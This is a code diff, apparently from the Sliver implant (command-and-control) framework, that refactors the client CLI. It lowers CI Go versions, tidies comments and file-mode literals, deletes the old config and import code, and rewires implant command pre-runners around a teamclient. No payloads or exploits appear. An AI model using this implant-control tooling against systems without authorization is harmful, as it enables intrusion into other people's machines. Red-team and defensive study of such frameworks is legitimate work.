diff --git a/.github/workflows/autorelease.yml b/.github/workflows/autorelease.yml index e7854c9a9f..85e52a5845 100644 --- a/.github/workflows/autorelease.yml +++ b/.github/workflows/autorelease.yml @@ -11,10 +11,10 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 45 steps: - - name: Go 1.21 + - name: Go 1.20 uses: actions/setup-go@v4 with: - go-version: "^1.21" + go-version: "^1.20" - name: OS Packages run: | @@ -42,10 +42,10 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 45 steps: - - name: Go 1.21 + - name: Go 1.20 uses: actions/setup-go@v4 with: - go-version: "^1.21" + go-version: "^1.20" - name: Check Out Code uses: actions/checkout@v3 diff --git a/.github/workflows/codeql-scanning.yml b/.github/workflows/codeql-scanning.yml index 76d835d401..9237506e7b 100644 --- a/.github/workflows/codeql-scanning.yml +++ b/.github/workflows/codeql-scanning.yml @@ -16,10 +16,10 @@ jobs: steps: # Setup go environment - - name: Go 1.21 + - name: Go 1.20 uses: actions/setup-go@v4 with: - go-version: "^1.21" + go-version: "^1.20" - name: Checkout repository uses: actions/checkout@v3 diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 6975b7dff8..6e40bafc07 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -15,10 +15,10 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 90 steps: - - name: Go 1.21 + - name: Go 1.20 uses: actions/setup-go@v4 with: - go-version: "^1.21" + go-version: "^1.20" - name: OS Packages run: | @@ -49,10 +49,10 @@ jobs: runs-on: macos-latest timeout-minutes: 90 steps: - - name: Go 1.21 + - name: Go 1.20 uses: actions/setup-go@v4 with: - go-version: "^1.21" + go-version: "^1.20" - name: Mingw run: brew install mingw-w64 @@ -80,10 +80,10 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 90 steps: - - name: Go 1.21 + - name: Go 1.20 uses: actions/setup-go@v4 with: - go-version: "^1.21" + go-version: "^1.20" - name: Check Out Code uses: actions/checkout@v3 diff --git a/Dockerfile b/Dockerfile index 8479e565b5..903fbdb1fe 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM golang:1.21 +FROM golang:1.20.5 # # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying diff --git a/client/assets/aliases.go b/client/assets/aliases.go index 2e372fdb73..182313c7f6 100644 --- a/client/assets/aliases.go +++ b/client/assets/aliases.go @@ -28,12 +28,12 @@ const ( AliasesDirName = "aliases" ) -// GetAliasesDir - Returns the path to the config dir +// GetAliasesDir - Returns the path to the config dir. func GetAliasesDir() string { rootDir, _ := filepath.Abs(GetRootAppDir()) dir := filepath.Join(rootDir, AliasesDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -41,7 +41,7 @@ func GetAliasesDir() string { return dir } -// GetInstalledAliasManifests - Returns a list of installed alias manifests +// GetInstalledAliasManifests - Returns a list of installed alias manifests. func GetInstalledAliasManifests() []string { aliasDir := GetAliasesDir() aliasDirContent, err := os.ReadDir(aliasDir) diff --git a/client/assets/armories.go b/client/assets/armories.go index 6e596423f1..ed2d26c249 100644 --- a/client/assets/armories.go +++ b/client/assets/armories.go @@ -31,9 +31,9 @@ const ( ) var ( - // DefaultArmoryPublicKey - The default public key for the armory + // DefaultArmoryPublicKey - The default public key for the armory. DefaultArmoryPublicKey string - // DefaultArmoryRepoURL - The default repo url for the armory + // DefaultArmoryRepoURL - The default repo url for the armory. DefaultArmoryRepoURL string defaultArmoryConfig = &ArmoryConfig{ @@ -42,7 +42,7 @@ var ( } ) -// ArmoryConfig - The armory config file +// ArmoryConfig - The armory config file. type ArmoryConfig struct { PublicKey string `json:"public_key"` RepoURL string `json:"repo_url"` @@ -50,7 +50,7 @@ type ArmoryConfig struct { AuthorizationCmd string `json:"authorization_cmd"` } -// GetArmoriesConfig - The parsed armory config file +// GetArmoriesConfig - The parsed armory config file. func GetArmoriesConfig() []*ArmoryConfig { armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName) if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) { diff --git a/client/assets/assets.go b/client/assets/assets.go index 06e4edb2c5..aa119af2d1 100644 --- a/client/assets/assets.go +++ b/client/assets/assets.go @@ -30,18 +30,18 @@ import ( ) const ( - // SliverClientDirName - Directory storing all of the client configs/logs + // SliverClientDirName - Directory storing all of the client configs/logs. SliverClientDirName = ".sliver-client" versionFileName = "version" ) -// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/ +// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/. func GetRootAppDir() string { user, _ := user.Current() dir := filepath.Join(user.HomeDir, SliverClientDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -49,11 +49,11 @@ func GetRootAppDir() string { return dir } -// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/ +// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/. func GetClientLogsDir() string { logsDir := filepath.Join(GetRootAppDir(), "logs") if _, err := os.Stat(logsDir); os.IsNotExist(err) { - err = os.MkdirAll(logsDir, 0700) + err = os.MkdirAll(logsDir, 0o700) if err != nil { log.Fatal(err) } @@ -61,11 +61,11 @@ func GetClientLogsDir() string { return logsDir } -// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/ +// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/. func GetConsoleLogsDir() string { consoleLogsDir := filepath.Join(GetClientLogsDir(), "console") if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) { - err = os.MkdirAll(consoleLogsDir, 0700) + err = os.MkdirAll(consoleLogsDir, 0o700) if err != nil { log.Fatal(err) } @@ -86,10 +86,10 @@ func saveAssetVersion(appDir string) { versionFilePath := filepath.Join(appDir, versionFileName) fVer, _ := os.Create(versionFilePath) defer fVer.Close() - fVer.Write([]byte(ver.GitCommit)) + fVer.WriteString(ver.GitCommit) } -// Setup - Extract or create local assets +// Setup - Extract or create local assets. func Setup(force bool, echo bool) { appDir := GetRootAppDir() localVer := assetVersion() diff --git a/client/assets/config.go b/client/assets/config.go deleted file mode 100644 index 6f334e1157..0000000000 --- a/client/assets/config.go +++ /dev/null @@ -1,123 +0,0 @@ -package assets - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/sha256" - "encoding/json" - "errors" - "fmt" - "io" - "log" - "os" - "path/filepath" -) - -const ( - // ConfigDirName - Directory name containing config files - ConfigDirName = "configs" -) - -// ClientConfig - Client JSON config -type ClientConfig struct { - Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead) - LHost string `json:"lhost"` - LPort int `json:"lport"` - Token string `json:"token"` - CACertificate string `json:"ca_certificate"` - PrivateKey string `json:"private_key"` - Certificate string `json:"certificate"` -} - -// GetConfigDir - Returns the path to the config dir -func GetConfigDir() string { - rootDir, _ := filepath.Abs(GetRootAppDir()) - dir := filepath.Join(rootDir, ConfigDirName) - if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0o700) - if err != nil { - log.Fatal(err) - } - } - return dir -} - -// GetConfigs - Returns a list of available configs -func GetConfigs() map[string]*ClientConfig { - configDir := GetConfigDir() - configFiles, err := os.ReadDir(configDir) - if err != nil { - log.Printf("No configs found %v", err) - return map[string]*ClientConfig{} - } - - confs := map[string]*ClientConfig{} - for _, confFile := range configFiles { - confFilePath := filepath.Join(configDir, confFile.Name()) - // log.Printf("Parsing config %s", confFilePath) - - conf, err := ReadConfig(confFilePath) - if err != nil { - continue - } - digest := sha256.Sum256([]byte(conf.Certificate)) - confs[fmt.Sprintf("%s@%s (%x)", conf.Operator, conf.LHost, digest[:8])] = conf - } - return confs -} - -// ReadConfig - Load config into struct -func ReadConfig(confFilePath string) (*ClientConfig, error) { - confFile, err := os.Open(confFilePath) - if err != nil { - log.Printf("Open failed %v", err) - return nil, err - } - defer confFile.Close() - data, err := io.ReadAll(confFile) - if err != nil { - log.Printf("Read failed %v", err) - return nil, err - } - conf := &ClientConfig{} - err = json.Unmarshal(data, conf) - if err != nil { - log.Printf("Parse failed %v", err) - return nil, err - } - return conf, nil -} - -// SaveConfig - Save a config to disk -func SaveConfig(config *ClientConfig) error { - if config.LHost == "" || config.Operator == "" { - return errors.New("empty config") - } - configDir := GetConfigDir() - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost)) - saveTo, _ := filepath.Abs(filepath.Join(configDir, filename)) - configJSON, _ := json.Marshal(config) - err := os.WriteFile(saveTo, configJSON, 0o600) - if err != nil { - log.Printf("Failed to write config to: %s (%v)", saveTo, err) - return err - } - log.Printf("Saved new client config to: %s", saveTo) - return nil -} diff --git a/client/assets/extensions.go b/client/assets/extensions.go index 4e1034f1ae..1b7a0bc3e6 100644 --- a/client/assets/extensions.go +++ b/client/assets/extensions.go @@ -25,16 +25,16 @@ import ( ) const ( - // ExtensionsDirName - Directory storing the client side extensions + // ExtensionsDirName - Directory storing the client side extensions. ExtensionsDirName = "extensions" ) -// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions +// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions. func GetExtensionsDir() string { rootDir, _ := filepath.Abs(GetRootAppDir()) dir := filepath.Join(rootDir, ExtensionsDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -42,7 +42,7 @@ func GetExtensionsDir() string { return dir } -// GetInstalledExtensionManifests - Returns a list of installed extension manifests +// GetInstalledExtensionManifests - Returns a list of installed extension manifests. func GetInstalledExtensionManifests() []string { extDir := GetExtensionsDir() extDirContent, err := os.ReadDir(extDir) diff --git a/client/assets/settings.go b/client/assets/settings.go index 487e807b0e..341e4f30c2 100644 --- a/client/assets/settings.go +++ b/client/assets/settings.go @@ -28,7 +28,7 @@ const ( settingsFileName = "tui-settings.json" ) -// ClientSettings - Client JSON config +// ClientSettings - Client JSON config. type ClientSettings struct { TableStyle string `json:"tables"` AutoAdult bool `json:"autoadult"` @@ -40,7 +40,7 @@ type ClientSettings struct { ConsoleLogs bool `json:"console_logs"` } -// LoadSettings - Load the client settings from disk +// LoadSettings - Load the client settings from disk. func LoadSettings() (*ClientSettings, error) { rootDir, _ := filepath.Abs(GetRootAppDir()) data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName)) @@ -67,7 +67,7 @@ func defaultSettings() *ClientSettings { } } -// SaveSettings - Save the current settings to disk +// SaveSettings - Save the current settings to disk. func SaveSettings(settings *ClientSettings) error { rootDir, _ := filepath.Abs(GetRootAppDir()) if settings == nil { diff --git a/client/cli/cli.go b/client/cli/cli.go index b36a37af99..406460de0a 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -19,79 +19,90 @@ package cli */ import ( - "fmt" "log" "os" - "path" "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/version" -) + "github.com/reeflective/team/client/commands" -const ( - logFileName = "sliver-client.log" + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/completers" + sliverConsole "github.com/bishopfox/sliver/client/command/console" + client "github.com/bishopfox/sliver/client/console" ) -var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion()) - -// Initialize logging -func initLogging(appDir string) *os.File { - log.SetFlags(log.LstdFlags | log.Lshortfile) - logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) +// Execute - Run the sliver client binary. +func Execute() { + // Create a client-only (remote TLS-transported connections) + // Sliver client, prepared with a working reeflective/teamclient. + // The teamclient automatically handles remote teamserver configuration + // prompting/loading and use, as well as other things. + con, err := client.NewSliverClient() if err != nil { - panic(fmt.Sprintf("[!] Error opening file: %s", err)) + log.Fatal(err) } - log.SetOutput(logFile) - return logFile -} - -func init() { - rootCmd.TraverseChildren = true - - // Create the console client, without any RPC or commands bound to it yet. - // This created before anything so that multiple commands can make use of - // the same underlying command/run infrastructure. - con := console.NewConsole(false) - // Import - rootCmd.AddCommand(importCmd()) + // Generate the entire Sliver framework command-line interface. + rootCmd := SliverCLI(con) // Version rootCmd.AddCommand(cmdVersion) - // Client console. - // All commands and RPC connection are generated WITHIN the command RunE(): - // that means there should be no redundant command tree/RPC connections with - // other command trees below, such as the implant one. - rootCmd.AddCommand(consoleCmd(con)) + // Run the sliver client binary. + if err := rootCmd.Execute(); err != nil { + os.Exit(1) + } +} + +// SliverCLI returns the entire command tree of the Sliver Framework as yielder functions. +// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped +// with all prerunners needed to connect to remote Sliver teamservers. +// It will also register the appropriate teamclient management commands. +func SliverCLI(con *client.SliverClient) (root *cobra.Command) { + teamclientCmds := func(con *client.SliverClient) []*cobra.Command { + return []*cobra.Command{ + commands.Generate(con.Teamclient), + } + } + + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and will be equipped + // with a pre-runner ensuring the server and its teamclient are set up and connected. + server := command.ServerCommands(con, teamclientCmds) + + root = server() // The root has an empty command name... + root.Use = "sliver-client" // so adjust it, because needed by completion scripts. + + // Bind the closed-loop console. + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + root.AddCommand(sliverConsole.Command(con, server)) // Implant. // The implant command allows users to run commands on slivers from their // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. - rootCmd.AddCommand(implantCmd(con)) + root.AddCommand(implantCmd(con, command.SliverCommands(con))) - // No subcommand invoked means starting the console. - rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true) + // Pre/post runners and completions. + command.BindPreRun(root, con.PreRunConnect) + command.BindPostRun(root, con.PostRunDisconnect) - // Completions - carapace.Gen(rootCmd) -} + // Add a CLI-specific flag for allowing users to force a specific remote + // Sliver server configuration to be used, instead of prompting user to choose. + root.Flags().StringP("config", "c", "", "Force connecting to a specific Sliver server") + completers.NewFlagCompsFor(root, func(comp *carapace.ActionMap) { + (*comp)["config"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { + return commands.ConfigsAppCompleter(con.Teamclient, "configs") + }) + }) -var rootCmd = &cobra.Command{ - Use: "sliver-client", - Short: "", - Long: ``, -} + // Generate the root completion command. + carapace.Gen(root) -// Execute - Execute root command -func Execute() { - if err := rootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) - } + return root } diff --git a/client/cli/config.go b/client/cli/config.go deleted file mode 100644 index 71d858d3b3..0000000000 --- a/client/cli/config.go +++ /dev/null @@ -1,71 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "sort" - - "github.com/bishopfox/sliver/client/assets" - - "gopkg.in/AlecAivazis/survey.v1" -) - -func selectConfig() *assets.ClientConfig { - configs := assets.GetConfigs() - - if len(configs) == 0 { - return nil - } - - if len(configs) == 1 { - for _, config := range configs { - return config - } - } - - answer := struct{ Config string }{} - qs := getPromptForConfigs(configs) - err := survey.Ask(qs, &answer) - if err != nil { - fmt.Println(err.Error()) - return nil - } - - return configs[answer.Config] -} - -func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question { - keys := []string{} - for k := range configs { - keys = append(keys, k) - } - sort.Strings(keys) - - return []*survey.Question{ - { - Name: "config", - Prompt: &survey.Select{ - Message: "Select a server:", - Options: keys, - Default: keys[0], - }, - }, - } -} diff --git a/client/cli/console.go b/client/cli/console.go deleted file mode 100644 index 67e208a382..0000000000 --- a/client/cli/console.go +++ /dev/null @@ -1,73 +0,0 @@ -package cli - -import ( - "fmt" - - "github.com/spf13/cobra" - "google.golang.org/grpc" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" -) - -// consoleCmd generates the console with required pre/post runners -func consoleCmd(con *console.SliverConsoleClient) *cobra.Command { - consoleCmd := &cobra.Command{ - Use: "console", - Short: "Start the sliver client console", - } - - consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) - - return consoleCmd -} - -func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) { - var ln *grpc.ClientConn - - pre = func(_ *cobra.Command, _ []string) error { - appDir := assets.GetRootAppDir() - logFile := initLogging(appDir) - defer logFile.Close() - - configs := assets.GetConfigs() - if len(configs) == 0 { - fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir()) - return nil - } - config := selectConfig() - if config == nil { - return nil - } - - // Don't clobber output when simply running an implant command from system shell. - if run { - fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort) - } - - var rpc rpcpb.SliverRPCClient - var err error - - rpc, ln, err = transport.MTLSConnect(config) - if err != nil { - fmt.Printf("Connection to server failed %s", err) - return nil - } - - return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run) - } - - // Close the RPC connection once exiting - post = func(_ *cobra.Command, _ []string) error { - if ln != nil { - return ln.Close() - } - - return nil - } - - return pre, post -} diff --git a/client/cli/implant.go b/client/cli/implant.go index 5c1251f79c..ec0887cc11 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -2,75 +2,143 @@ package cli import ( "errors" + "os" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + "golang.org/x/exp/slices" + + "github.com/reeflective/console" "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/use" - "github.com/bishopfox/sliver/client/console" + client "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" ) -func implantCmd(con *console.SliverConsoleClient) *cobra.Command { - con.IsCLI = true - - makeCommands := command.SliverCommands(con) - cmd := makeCommands() - cmd.Use = constants.ImplantMenu - - // Flags +// implantCmd returns the command tree for Sliver active targets. +// This function has not yet found its place into one of the commands subdirectories, +// since I'm not really sure how to do it in a way that would be optimal for everyone. +func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { + // Generate a not-yet filtered tree of all commands + // usable in the context of an active target implant. + implantCmd := sliverCmds() + implantCmd.Use = constants.ImplantMenu + implantCmd.Short = "Implant target command tree (equivalent of the sliver menu)" + implantCmd.GroupID = constants.SliverHelpGroup + + // But let the user set this implant with a flag. implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError) - implantFlags.StringP("use", "s", "", "interact with a session") - cmd.Flags().AddFlagSet(implantFlags) + implantFlags.StringP("use", "s", "", "Set the active target session/beacon") + implantCmd.Flags().AddFlagSet(implantFlags) + + // And when pre-running any of the commands in this tree, + // connect to the server as we always do, but also set the + // active target for this binary run. + implantCmd.PersistentPreRunE = preRunImplant(implantCmd, con) + implantCmd.PersistentPostRunE = postRunImplant(implantCmd, con) + + // Completions. + // Unlike the server-only command tree, we need to unconditionally + // pre-connect when completing commands, so that we can filter commands. + comps := carapace.Gen(implantCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + err := implantCmd.PersistentPreRunE(cmd, args) + if err != nil { + return + } - // Prerunners (console setup, connection, etc) - cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con) + // And let the console and its active target decide + // what should be available to us, and what should not. + con.ActiveTarget.FilterCommands(implantCmd) + }) - // Completions - makeCompleters(cmd, con) + // This completer will try connect to the server anyway, if not done already. + completers.NewFlagCompsFor(implantCmd, func(comp *carapace.ActionMap) { + (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { + return use.BeaconAndSessionIDCompleter(con) + }) + }) - return cmd + return implantCmd } -func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) { - startConsole, closeConsole := consoleRunnerCmd(con, false) +// preRunImplant returns the pre-runner to be ran before any implant-targeting command, +// to connect to the server, query the sessions/beacons and set one as the active target. +// Like implantCmd, this function can moved from here down the road, either integrated as +// a console.Client method to be used easily by the users using "custom" Go clients for some things. +func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + if err := con.PreRunConnect(cmd, args); err != nil { + return err + } - // The pre-run function connects to the server and sets up a "fake" console, - // so we can have access to active sessions/beacons, and other stuff needed. - pre = func(_ *cobra.Command, args []string) error { - startConsole(implantCmd, args) + // Pre-parse the flags and get our active target. + if err := implantCmd.ParseFlags(args); err != nil { + return err + } - // Set the active target. target, _ := implantCmd.Flags().GetString("use") if target == "" { - return errors.New("no target implant to run command on") + return errors.New("no active implant target to run command") } + // Load either the session or the beacon. + // This also sets the correct console menu. session := con.GetSession(target) if session != nil { con.ActiveTarget.Set(session, nil) + } else { + beacon := con.GetBeacon(target) + if beacon != nil { + con.ActiveTarget.Set(nil, beacon) + } + } + + // If the command is marked filtered (should not be ran in + // the current context/target), don't do anything and return. + // This is identical to the filtering behavior in the console. + if err := con.App.ActiveMenu().CheckIsAvailable(cmd); err != nil { + return err + } + + // Keep a copy of the command-line: used for beacon task command-line info. + con.Args = os.Args[1:] + for i, arg := range os.Args { + if arg == cmd.Name() { + con.Args = os.Args[i:] + } else if slices.Contains(cmd.Aliases, arg) { + con.Args = os.Args[i:] + } } return nil } - - return pre, closeConsole } -func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) { - comps := carapace.Gen(cmd) +// postRunImplant saves the current CLI os.Args command line to the server, so that all interactions +// with an implant from a system shell will be logged and accessible just the same as in the console. +func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + var saveArgs []string + + // Save only the subset of the command line starting + // at the implant root (not the server one). This + // is quite hackish, but I could not come up with + // a better solution. + for i, arg := range os.Args { + if arg == cmd.Name() { + saveArgs = os.Args[i:] + } else if slices.Contains(cmd.Aliases, arg) { + saveArgs = os.Args[i:] + } + } - comps.PreRun(func(cmd *cobra.Command, args []string) { - cmd.PersistentPreRunE(cmd, args) - }) + con.ActiveTarget.SaveCommandLine(saveArgs) - // Bind completers to flags (wrap them to use the same pre-runners) - command.FlagComps(cmd, func(comp *carapace.ActionMap) { - (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - cmd.PersistentPreRunE(cmd, c.Args) - return use.SessionIDCompleter(con) - }) - }) + // And disconnect from the server like for other commands. + return con.PostRunDisconnect(cmd, args) + } } diff --git a/client/cli/import.go b/client/cli/import.go deleted file mode 100644 index b953916b27..0000000000 --- a/client/cli/import.go +++ /dev/null @@ -1,58 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2020 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/assets" -) - -func importCmd() *cobra.Command { - cmdImport := &cobra.Command{ - Use: "import", - Short: "Import a client configuration file", - Long: `import [config files]`, - Run: func(cmd *cobra.Command, args []string) { - if 0 < len(args) { - for _, arg := range args { - conf, err := assets.ReadConfig(arg) - if err != nil { - fmt.Printf("[!] %s\n", err) - os.Exit(3) - } - assets.SaveConfig(conf) - } - } else { - fmt.Printf("Missing config file path, see --help") - } - }, - ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { - return []string{}, cobra.ShellCompDirectiveDefault - }, - } - - carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration")) - - return cmdImport -} diff --git a/client/cli/version.go b/client/cli/version.go index 24d640871a..c8b724d89c 100644 --- a/client/cli/version.go +++ b/client/cli/version.go @@ -23,13 +23,15 @@ import ( "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/version" ) var cmdVersion = &cobra.Command{ - Use: "version", - Short: "Print version and exit", - Long: ``, + Use: "version", + Short: "Print version and exit", + Long: ``, + GroupID: constants.GenericHelpGroup, Run: func(cmd *cobra.Command, args []string) { fmt.Printf("%s\n", version.FullVersion()) }, diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index c418427ba9..3d6d27955d 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -24,18 +24,18 @@ import ( "io/ioutil" "strings" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" ) -// AliasesCmd - The alias command -func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error { +// AliasesCmd - The alias command. +func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error { if 0 < len(loadedAliases) { PrintAliases(con) } else { @@ -45,10 +45,11 @@ func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str return nil } -// PrintAliases - Print a list of loaded aliases -func PrintAliases(con *console.SliverConsoleClient) { +// PrintAliases - Print a list of loaded aliases. +func PrintAliases(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Command Name", @@ -88,8 +89,8 @@ func PrintAliases(con *console.SliverConsoleClient) { con.Println(tw.Render()) } -// AliasCommandNameCompleter - Completer for installed extensions command names -func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string { +// AliasCommandNameCompleter - Completer for installed extensions command names. +func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string { results := []string{} for name := range loadedAliases { if strings.HasPrefix(name, prefix) { @@ -129,7 +130,7 @@ func getInstalledManifests() map[string]*AliasManifest { return installedManifests } -// AliasCommandNameCompleter - Completer for installed extensions command names +// AliasCommandNameCompleter - Completer for installed extensions command names. func AliasCompleter() carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := []string{} diff --git a/client/command/alias/commands.go b/client/command/alias/commands.go new file mode 100644 index 0000000000..b9f48ee227 --- /dev/null +++ b/client/command/alias/commands.go @@ -0,0 +1,62 @@ +package alias + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `alias` command and its child commands. +func Commands(con *console.SliverClient) []*cobra.Command { + aliasCmd := &cobra.Command{ + Use: consts.AliasesStr, + Short: "List current aliases", + Long: help.GetHelpFor([]string{consts.AliasesStr}), + Run: func(cmd *cobra.Command, args []string) { + AliasesCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + + aliasLoadCmd := &cobra.Command{ + Use: consts.LoadStr + " [ALIAS]", + Short: "Load a command alias", + Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesLoadCmd(cmd, con, args) + }, + } + aliasCmd.AddCommand(aliasLoadCmd) + completers.NewCompsFor(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) + + aliasInstallCmd := &cobra.Command{ + Use: consts.InstallStr + " [ALIAS]", + Short: "Install a command alias", + Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesInstallCmd(cmd, con, args) + }, + } + aliasCmd.AddCommand(aliasInstallCmd) + completers.NewCompsFor(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) + + aliasRemove := &cobra.Command{ + Use: consts.RmStr + " [ALIAS]", + Short: "Remove an alias", + Long: help.GetHelpFor([]string{consts.RmStr}), + 